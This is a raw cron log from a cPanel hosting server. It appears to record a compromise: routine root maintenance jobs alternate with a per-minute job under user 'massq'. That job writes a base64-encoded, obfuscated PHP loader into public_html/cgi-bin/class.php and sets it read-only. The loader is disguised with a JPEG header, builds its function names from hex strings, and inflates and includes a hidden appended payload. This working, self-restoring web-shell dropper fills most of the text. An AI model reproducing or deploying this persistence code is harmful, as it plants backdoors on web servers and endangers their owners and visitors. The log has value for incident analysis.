Sep  5 22:21:01 server CROND[7747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:22:01 server CROND[8165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:22:01 server CROND[8166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:22:01 server CROND[8167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:23:01 server CROND[8536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:23:01 server CROND[8537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:23:01 server CROND[8538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:24:01 server CROND[8997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:24:01 server CROND[8998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:24:01 server CROND[9000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:25:01 server CROND[9376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:25:01 server CROND[9378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:25:01 server CROND[9380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:25:01 server CROND[9381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:25:01 server CROND[9382]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:25:01 server CROND[9388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:25:01 server CROND[9386]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 22:25:01 server CROND[9387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:26:01 server CROND[10254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:26:01 server CROND[10255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:26:01 server CROND[10256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:27:01 server CROND[10634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:27:01 server CROND[10635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:27:01 server CROND[10637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:27:01 server CROND[10636]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:28:01 server CROND[11002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:28:01 server CROND[11003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:28:01 server CROND[11004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:29:01 server CROND[11464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:29:01 server CROND[11465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:29:01 server CROND[11466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:30:01 server CROND[11841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:30:01 server CROND[11843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:30:01 server CROND[11846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:30:01 server CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:30:01 server CROND[11845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:30:01 server CROND[11847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:30:01 server CROND[11848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:30:01 server CROND[11849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:31:01 server CROND[12706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:31:01 server CROND[12707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:31:01 server CROND[12714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:32:01 server CROND[13085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:32:01 server CROND[13087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:32:01 server CROND[13086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:33:01 server CROND[13460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:33:01 server CROND[13461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:33:01 server CROND[13462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:34:01 server CROND[13948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:34:01 server CROND[13949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
